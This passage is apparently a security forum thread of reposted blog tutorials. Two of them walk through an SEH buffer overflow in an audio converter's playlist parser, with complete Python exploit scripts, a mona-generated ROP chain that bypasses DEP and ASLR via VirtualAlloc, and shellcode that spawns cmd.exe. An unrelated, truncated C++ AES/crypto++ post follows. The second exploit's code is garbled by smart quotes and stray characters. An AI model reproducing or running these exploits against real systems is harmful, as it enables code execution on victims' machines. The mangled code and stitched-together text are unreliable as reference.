Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc" buffer = junk handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() Ok I'm going to assume you know to reload the file by now. So lets restart the program, run our Python script and load the new .pls file that is created. The program crashes again. Lets see the SEH chain. The second entry is the SEH handler: Ok so the NSEH handler is overwritten with 39724638 (remember this number may be different for you, this is just what I get on my machine so find this for your machine). We can then find the offset by running: !mona pattern_offset 39724638 The result is shown below: We can see that it found our offset 4436 bytes in where we overwrote the NSEH handler. Lets change the exploit code to reflect this. Remember that we overwrite the NSEH first then the SEH handler in a SEH exploit, so lets change this slightly to reflect this. #!/usr/bin/python junk = "A" * 4432 nseh = "DDDD" seh = "BBBB" trigger = "C" * (50000 - (len(junk) + len(seh))) buffer = junk + nseh + seh + trigger handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() If we run this python script and load the resulting .pls file into the program we get the following in the SEH chain view: Nice, so now we can control the SEH chain. [h=3]Stack Pivoting - The Beginning of Our ROP Journey[/h] Ok so now that we have control over SEH, we want to see how much we are away from the beginning of our payload on the stack. We then need to do a stack pivot (aka a stack adjustment) in order to change the top of the stack to point to our payload. To start off with, lets replace the SEH overwrite with an address from the DLL. We know this because the main executable and the DLL are both not compiled with any protection (SafeSEH is enabled on the main executable, but we won't be using it for this exploit so its not a problem for us). You can verify this by doing: !mona modules Any address from the audconv.dll file will work though, I just chose a random one from within the DLL. Our new exploit should look like this: #!/usr/bin/python junk = "A" * 4432 nseh = "DDDD" seh = "\xA6\xC7\x04\x10" trigger = "C" * (50000 - (len(junk) + len(seh))) buffer = junk + nseh + seh + trigger handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() Note that we are using little endigan here so the address is actually 0x1004C7A6 in my example. Using the new resulting file, we set a breakpoint on this address and run the program, which gives us the following: If we double click on the current stack address in the lower right pannel, we can see the offset that we need to adjust the stack by to get it to point to the start of our payload. This can be seen in the screenshot below: So it looks like we will need to adjust the stack 0x8E0 bytes to get it to point to the beginning of our buffer. However since we are using ROP, we will be reusing the program's code. As thus we have to get the adjustment as close to 0x8E0 bytes as we can, but it won't be exact. However we need this stack adjust instruction to replace our current SEH address, and we need it to have a RETN instruction afterwards so that we can continue executing instructions off of the stack. So we want it to look like: Instruction to adjust ESP RETN We can use a useful feature of Immunity Debugger to find instructions that suit these requirements. To do this right click on the upper left panel in Immunity Debug, then select Search For -> All Sequences In All Modules. After this type in: ADD ESP, CONST RETN And click search. This will search all modules for all sets of instructions where some constant number is added to ESP and there is a RETN instruction following it. Remember that we are looking for a number above or equal to 0x8E0 but that is still fairly close to that number in audoconv.dll. The best one we can use that doesn't contain null bytes appears to be located at 0x1001A762: We'll use this address for the exploit, which now becomes: #!/usr/bin/python junk = "A" * 4432 nseh = "DDDD" seh = "\x62\xA7\x01\x10" # ADD ESP 10F0; RETN trigger = "C" * (50000 - (len(junk) + len(seh))) buffer = junk + nseh + seh + trigger handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() Setting a breakpoint on this address and running the program with the new file gives us this: If step though the program and execute the RETN instruction, we see that we land 0x814 bytes into our buffer. This is equivalent to 2068 bytes in decimal format. Knowing this lets so some restructuring of our payload. We will have to subtract the 2068 bytes by 4 to get 2064, which is the number of bytes of junk we need before we insert the address that we want to use as our first ROP instruction: #!/usr/bin/python junk = "A" * 2064 firstRop = "GGGG" junk2 = "A" * (4432 - (len(junk) + len(firstRop))) nseh = "DDDD" seh = "\x62\xA7\x01\x10" # ADD ESP 10F0; RETN trigger = "C" * (50000 - (len(junk) + len(seh))) buffer = junk + firstRop + junk2 + nseh + seh + trigger handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() If we then execute this without any breakpoints, the program should execute our GGGG instruction (sorry I lost the screenshot for this apparently, but you should see GGGG in EIP, if not, double check your work. If you still can't get it, feel free to contact me) Ok, so this is all good. Now what we need to do is form a ROP chain. Remember mona.py from earlier? Well your going to love him right about now [h=3]ROP'ing to Success with mona.py[/h] At this point what we could do is create our own ROP chain using any of the techniques from Corelan's tutorial over at https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ however we have a much simpler tool: mona.py! To find ROP chains that we can use, all we need to do is do: !mona rop At this point the sky opens up and ROP chains of awesomeness open up to us. Or in other words, we basically get free generated ROP chains that we can use. And who doesn't like a bit of automation every once in a while? Once your PC unfreezes and mona finishes running, open the rop_chains.txt file (there will be several generated) which is located at: C:\Users\*your username here*\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger\rop_chains.txt What you want to now do is scroll down to the bottom where it shows ROP chains using the VirualAlloc() mechanism. It should look something like this: At this point all we need to do is copy it across and incorporate it into our exploit, then fiddle around to make sure we get it to allocate our shellcode. With some shuffling around and organization of the length calculations, our new exploit code looks like this: #!/usr/bin/python import struct def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x0043fb74, # POP ESI # RETN [audconv.exe] 0x0044b290, # ptr to &VirtualAlloc() [iAT audconv.exe] 0x0042fa37, # MOV EAX,DWORD PTR DS:[ESI] # RETN [audconv.exe] 0x10037d05, # XCHG EAX,ESI # RETN [audconv.dll] 0x0042064f, # POP EBP # RETN [audconv.exe] 0x0040b560, # & call esp [audconv.exe] 0x100572fc, # POP EBX # RETN [audconv.dll] 0x00000001, # 0x00000001-> ebx 0x10082d43, # POP EDX # RETN [audconv.dll] 0x00001000, # 0x00001000-> edx 0x1000e09b, # POP ECX # RETN [audconv.dll] 0x00000040, # 0x00000040-> ecx 0x0043277e, # POP EDI # RETN [audconv.exe] 0x1003f2b9, # RETN (ROP NOP) [audconv.dll] 0x1008a554, # POP EAX # RETN [audconv.dll] 0x90909090, # nop 0x1002ef14, # PUSHAD # RETN [audconv.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) junk = "A" * 2064 rop_chain = create_rop_chain() junk2 = "A" * (4432 - (len(junk) + len(rop_chain))) nseh = "DDDD" seh = "\x62\xA7\x01\x10" # ADD ESP 10F0; RETN buffer = junk + rop_chain + junk2 + nseh + seh buffer += "C" * (50000 - len(buffer)) # New trigger calculation handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() Run this new code and run the program with the new file. Set a breakpoint on the SEH handler, and step through the code with the F8 button whilst watching the stack. Eventually you should see the call to VirtualAlloc and its parameters on the stack. This should look something like the following: If we look at the parameters to the VirtualAlloc call, we can see that the address pushed to the call is 0x0012D50C. We need to find out how far this is from the beginning of our buffer so that we can position the shellcode in the appropriate location. We see that it is 0x854 or 2132 bytes till the allocation so we will need 2128 junk bytes before our shellcode for this to work correctly. Our final exploit code is this: #!/usr/bin/python import struct def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x0043fb74, # POP ESI # RETN [audconv.exe] 0x0044b290, # ptr to &VirtualAlloc() [iAT audconv.exe] 0x0042fa37, # MOV EAX,DWORD PTR DS:[ESI] # RETN [audconv.exe] 0x10037d05, # XCHG EAX,ESI # RETN [audconv.dll] 0x0042064f, # POP EBP # RETN [audconv.exe] 0x0040b560, # & call esp [audconv.exe] 0x100572fc, # POP EBX # RETN [audconv.dll] 0x00000001, # 0x00000001-> ebx 0x10082d43, # POP EDX # RETN [audconv.dll] 0x00001000, # 0x00001000-> edx 0x1000e09b, # POP ECX # RETN [audconv.dll] 0x00000040, # 0x00000040-> ecx 0x0043277e, # POP EDI # RETN [audconv.exe] 0x1003f2b9, # RETN (ROP NOP) [audconv.dll] 0x1008a554, # POP EAX # RETN [audconv.dll] 0x90909090, # nop 0x1002ef14, # PUSHAD # RETN [audconv.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) # Cmd.exe Universal shellcode taken from exploit-db.com shellcode = ( "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"+ "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"+ "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"+ "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"+ "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"+ "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"+ "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"+ "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"+ "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"+ "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"+ "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"+ "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"+ "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"+ "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"+ "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"+ "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"+ "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"+ "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"+ "\x24\x20\x57\xFF\xD0") junk = "A" * 2064 rop_chain = create_rop_chain() junk2 = "A" * (2132 - (len(junk) + len(rop_chain))) # Shellcode goes here junk3 = "A" * (4432 - (len(junk) + len(junk2) + len(rop_chain) + len(shellcode))) nseh = "DDDD" seh = "\x62\xA7\x01\x10" # ADD ESP 10F0; RETN buffer = junk + rop_chain + junk2 + shellcode + junk3 + nseh + seh buffer += "C" * (50000 - len(buffer)) # New trigger calculation handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() Take this out of the debugger, and you should be able to run your shellcode! And as proof of this, I've made a video of the exploit in action which you can view at ASLR + DEP Audio Converter Example On Windows 7 on Vimeo Posted by thetekwizz at 10:15 AM Sursa: tekwizz123's Blog: Bypassing ASLR and DEP on Windows 7: The Audio Converter Case
  11. Get Shell Access by bypassing ASLR and DEP Written by Ravinder Today’s Operating System uses various memory protection like DEP and ASLR. Microsoft enabled ALSR from 2007 to all its products. While Google and Firefox implement ASLR in 2010. We know that SEH exploitation is not possible in windows 7 and 8 due to DEP and ASLR. Yeah it is true but we can bypass ALSR and DEP. The methods through which we can bypass are also explained in one of the trainings by SecurityXploded. The various methods are: HeapCreate VirtualAlloc VirtualProtect WriteProcessMemory In this blog I will bypass the ALSR and DEP through VirtualAlloc method on the AudioConverter Application. This application can be download through http://www.exploit-db.com/wp-content/themes/exploit/applications/75f68aaa2ed2bdc458b2114f4ee302ae-audc81d.exe. Requirement: Windows 7 64 bit with audioconverter.exe install on it. Immunity Debugger with mona addon. python 2.7.1 Step 1: As this software take .pls/.m3u/.wam playlist format. We first create a python program that write dummy string in the .pls file and import that file in the application. [TABLE=width: 100%] [TR] [TD] #!/usr/bin/python data = “A” * 30000 handle = open(“audio.pls”, “w”) handle.write(data) handle.close() [/TD] [/TR] [/TABLE] Step2: Open exe file in the immunity debugger. Press F9 to enter in the program entry point. Audio Converter interface will pop up and then cancel the pop that about credit information. Click on file à add playlist and open our python created audio.pls file. Step 3: As we add data more than it can hold it will cause buffer overflow and if we see the SEH chain by pressing ALT+S. We can see that SEH chain is corrupted. Step 4: Now we will try to find out exact offset that over right SEH. For that create pattern of 30000. We can create using metasploit or most easy is using mona addon that is developed by CORLEAN team. If you do not have mona utility then download and paste into pyCommands folder of immunity debugger. (https://redmine.corelan.be/projects/mona/repository/raw/mona.py ) To create pattern use this command in Immunity Debugger. [TABLE=width: 100%] [TR] [TD] !mona pattern_create 30000 [/TD] [/TR] [/TABLE] The created pattern will found at the path that will be visible when we enable show hidden folder. C:\Users\*your username here*\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger Now copy that pattern and paste into our python program. Restart the application using CTRL+F2. Step 5: Again see SEH chain we can see that value of SEH handler is 39724638. Find the exact offset using a simple command. [TABLE=width: 100%] [TR] [TD] !mona pattern_offset 39724638[/TD] [/TR] [/TABLE] Step 6: We will get 4436 value. It means our SEH is at 4436 and Next SEH pointer is at 4432. We can verify by our python program. At SEH place BBBB and at Next SEH pointer place CCCC. So our python would be like that: [TABLE=width: 100%] [TR] [TD] #!/usr/bin/python data = “A” * 4432 Next_Seh_Pointer= ”CCCC” Seh=”BBBB” remaining=”C”*(30000- len(data) –len(Next_Seh_Pointer) –len(Seh)) buffer=data+Next_Seh_Pointer+Seh+remaining handle = open(“audio.pls”, “w”) handle.write(buffer) handle.close() [/TD] [/TR] [/TABLE] Run again the Python program. Restart the application again using CTRL+F2. Now look at Next SEH pointer (43434343) and SEH handler (42424242). So SEH is in our control. It means we win one fourth of the battleJ. Step7: Follow SEH handler into the address and modify its value with any executable module. You can choose any value as your wish from the executable modules. I use the EIP instruction. When we click on Follow address in Stack pointer automatically point to its address in 4 column of Immunity Debugger. Then right click and modify the value of SEH Handler with EIP instruction. If you want to choose different executable modules the search using command: [TABLE=width: 100%] [TR] [TD] !mona modules[/TD] [/TR] [/TABLE] We can see that ASLR and SAFESEH, DEP are enable:-). After modify set breakpoint (press F2). Restart application again (CTRL+f2). Step8: Before adding audio.pls file change the SEH value “BBBB” to “1007E595”. While running the application it halts then pass exception (press shift+f7) and then add file. Application will stop at our breakpoint. Note the value of ESP, EBP and our buffer’s starting address. Calculate how far our buffer from the ESP & EBP. [TABLE=width: 100%] [TR] [TD] #!/usr/bin/python data = “A” * 4436 Seh=”\x95\xE5\x07\x10” remaining=”C”*(30000- len(data) –len(Seh)) buffer=data+Seh+remaining handle = open(“audio.pls”, “w”) handle.write(buffer) handle.close() [/TD] [/TR] [/TABLE] Here ESP =0018CCA0(buffer) - 0018C4F0 =0*7B0 EBP=0018CCA0 – 0018C510=0*790 So we need to add constant in ESP so that it will point into our buffer. Here the concept of ROP will help, in ROP we will reuse the program code .We need to adjust our ESP so that it will point into our buffer. So we will add some constant into ESP that is greater than 0*7B0. For that right click on upper left panel (CPU view) then click search for then All sequences In All modules. Write following instruction in the pop up window: [TABLE=width: 100%] [TR] [TD] ADD ESP, CONST RETN[/TD] [/TR] [/TABLE] Click on search. Now we can select any one address but choose that is above 7B0. I choose 828 as it is nearer to 7B0. You can choose any one as your wish. We use return after adding constant to ESP so that we come back in our buffer. Now modify SEH with “1001CA75” and set breakpoint (f2) at “1001CA75”. Run the python program again as well as restart application again. Actually our aim is to find the good address in the memory where there is an instruction to increment ESP so it will make it to point our buffer and after return land somewhere in our buffer. Step9: Application stop at breakpoint i.e. 1001CA75 .Press F8 and see where ESP point in our Buffer. ESP points +78 means (7*16+8*1) 120 bytes in decimal. It means next ROP instruction should be @ offset 120 bytes of our buffer. Make changes in the python program. After 120 bytes use 00000001 as ROP instruction and run the application again without setting breakpoint. If EIP point to 00000001 it means we are going in right direction. [TABLE=width: 100%] [TR] [TD] #!/usr/bin/python data = “A” * 120 rop_first=”\x01\x00\x00\x00 ” data2= “B”*(4436 –len(data) –len(rop_first)) Seh=”\x75\xCA\x01\x10” remaining=”C”*(30000 –len(data) –len(rop_first) –len(data2) –len(Seh)) buffer=data+rop_first+data2+Seh+remaining handle = open(“audio.pls”, “w”) handle.write(buffer) handle.close() [/TD] [/TR] [/TABLE] As EIP point our first ROP instruction so we win our half battle !!. Step 10: As we get our ROP offset we will create our ROP chain using !mona rop command. The ROP chain will found at this path ? C:\users\*your username*\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger\rop_chains.txt Copy and paste this in python program. As in the rop_chains.txt there will be many rop chain like in python, java, perl etc but copy only python. If you program in any other language then choose according to that. Step 11: Our next step is to find our offset of shellcode. For that set breakpoint at SEH handler and restart application. Application halt at breakpoint then press F8. Look at the stack after return we will get VIrtualAlloc function. Now calculate how our buffer far from this so that at that offset we can place our shellcode. We get +BC (in decimal 188 ) so we should place our shellcode after 188 bytes. Modify our python program. Restart application and if everything will be OK then we will get command shell . Shellcode can be copy from exploit-db.com. If get shell then run application by removing all breakpoint. [TABLE=width: 100%] [TR] [TD] #!/usr/bin/python import struct def create_rop_chain(): # rop chain generated with mona.py – www.corelan.be rop_gadgets = [ 0x10082cde, # POP EDX # RETN [audconv.dll] 0x0044b290, # ptr to &VirtualAlloc() [iAT audconv.exe] 0x1003dd8b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll] 0x10037d05, # XCHG EAX,ESI # RETN [audconv.dll] 0x1005baa3, # POP EBP # RETN [audconv.dll] 0x0040a8f4, # & call esp [audconv.exe] 0x1004d032, # POP EBX # RETN [audconv.dll] 0×00000001, # 0×00000001-> ebx 0x10082d48, # POP EDX # RETN [audconv.dll] 0×00001000, # 0×00001000-> edx 0x100707ec, # POP ECX # RETN [audconv.dll] 0×00000040, # 0×00000040-> ecx 0x100387d2, # POP EDI # RETN [audconv.dll] 0x1003f2b9, # RETN (ROP NOP) [audconv.dll] 0x1008aa12, # POP EAX # RETN [audconv.dll] 0×90909090, # nop 0x1002ef14, # PUSHAD # RETN [audconv.dll] ] return ”.join(struct.pack(‘<I’, _) for _ in rop_gadgets) shellcode = ( “\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B”+ “\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9?+ “\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C”+ “\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0?+ “\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B”+ “\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72?+ “\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03?+ “\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47?+ “\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F”+ “\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72?+ “\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66?+ “\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14?+ “\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE”+ “\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53?+ “\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24?+ “\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51?+ “\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE”+ “\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45?+ “\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54?+ “\x24\x20\x57\xFF\xD0?) data = “A” * 120 rop_first=create_rop_chain() data2=”B”*(188-len(data)-len(rop_first)) #here we place our shell code data3= “B”*(4436-len(data)-len(rop_first)-len(data2)-len(shellcode)) Seh=”\x75\xCA\x01\x10? buffer=data+rop_first+data2+shellcode+data3+Seh buffer +=”C”*(30000-len (buffer)) handle = open(“audio.pls”, “w”) handle.write(buffer) handle.close() [/TD] [/TR] [/TABLE] Step 12: Restart application and python program again. We bypass everything:-) References: Exploit-db Tekwizz123 bypass aslr and dep Sursa: Get Shell Access by bypassing ASLR and DEP - SecurityTrainings
  12. Using AES encryption in C++ 2014-11-26 11:22 by Jens Weller When it comes to encryption, there a few options you have in C++, a few years ago I implemented an RSA encryption based on the OpenSSL APIs, which was not too pleasant, but worked. For my current project, I was looking for something else, as I can add any dependency to my project. So this blog post is a short example of how to use AES with crypto++. The feedback from this blog post has shown, that this is not a very secure option, a very good alternative to this is libsodium, which offers good apis for encryption. I will later post a libsodium based interface. When looking for an encryption library in C++, there are at least 3 well known alternatives: crypto++, botan, and QCA. The last option is based on Qt, which in this case is for me not an option: I already use Qt a lot, but don't see the need in this case. For my current use case, I am using AES, as I need symmetric encryption, aka a way to encrypt data based on a password, and not a public key. Neither the C++ Standard nor boost provides a library, so with Qt not being an option, its crypto++ or botan. Both, crypto++ and botan are fairly easy to use, and seem to have similar designs. I ended up using crypto++, but botan seems to be as good. Also note, that I am not a crypto expert, you need to read into this before using. One current flaw that I see in my implementation, is that the passwords are only 32 bytes at max. Also, be aware that when you need to encrypt a pipe/datastream/socket, there are better options. Also, as botan and crypto++ predate C++11, they are written in a mildy modern C++. A basic AESEncryption class Currently, all I want is to encrypt strings with a certain password. So I need a type which gets initialized with a password and the interface is a fairly simple encode/decode function which takes a string that is en- or decoded: typedef std::string bytearray; class AESEncryption { bytearray pw,iv_encrypt,iv_decrypt; std::string error; std::unique_ptr<CryptoPP::CFB_Mode<CryptoPP::AES>::Encryption> encrypt; std::unique_ptr<CryptoPP::CFB_Mode<CryptoPP::AES>::Decryption> decrypt; public: AESEncryption(const bytearray& password, const bytearray& iv); bool encode(bytearray &text); bool decode(bytearray &cipher); std::string getError(){return error;} }; The interface is a bit more complex then just two functions and a constructor. The objects needed for en- or decryption are held in unique_ptrs, and only instantiated, when needed. (Maybe I just want to decrypt some data as a export method, or import data with this object?). Using pimpl could make this a bit more cleaner, so that the headers from crypto++ will not leak into any code using this class. As the encoding/decoding shows, I decided to go with the CFB mode of AES. The implementation of encode is then pretty simple: try { if(!encrypt) encrypt.reset(new CryptoPP::CFB_Mode<CryptoPP::AES>::Encryption); CryptoPP::MD5 hash; byte digest[ CryptoPP::MD5::DIGESTSIZE ]; std::string message = iv_encrypt + pw; hash.CalculateDigest( digest, 